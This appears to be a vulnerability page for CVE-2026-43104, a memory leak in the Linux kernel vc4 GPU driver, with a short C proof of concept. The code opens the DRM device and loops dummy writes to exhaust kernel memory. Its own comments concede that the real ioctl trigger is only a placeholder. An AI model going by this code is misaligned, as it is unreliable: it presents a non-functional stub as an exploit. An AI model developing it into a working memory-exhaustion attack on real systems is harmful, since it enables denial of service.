CVE-2026-43104: Linux内核vc4组件内存泄漏漏洞

/* * PoC for CVE-2026-43104: Memory Leak in vc4_save_hang_state * This code conceptually triggers the vulnerable path. */ #include <fcntl.h> #include <stdio.h> #include <unistd.h> #include <sys/ioctl.h> // Placeholder for device path and IOCTLs #define DRM_IOCTL_VC4_SUBMIT_CL 0x40 int main() { int fd = open("/dev/dri/card0", O_RDWR); if (fd < 0) { perror("open device failed"); return 1; } printf("[+] Triggering memory leak in vc4_save_hang_state...\n"); // Loop to exhaust memory for(int i = 0; i < 10000; i++) { // In a real exploit, specific ioctl calls would be made // to force the GPU into a hang state that hits the early return. // Example: ioctl(fd, DRM_IOCTL_VC4_SUBMIT_CL, &args); // Simulating the trigger logic write(fd, "dummy_data", 10); } close(fd); printf("[+] Done. Check kernel memory usage.\n"); return 0; }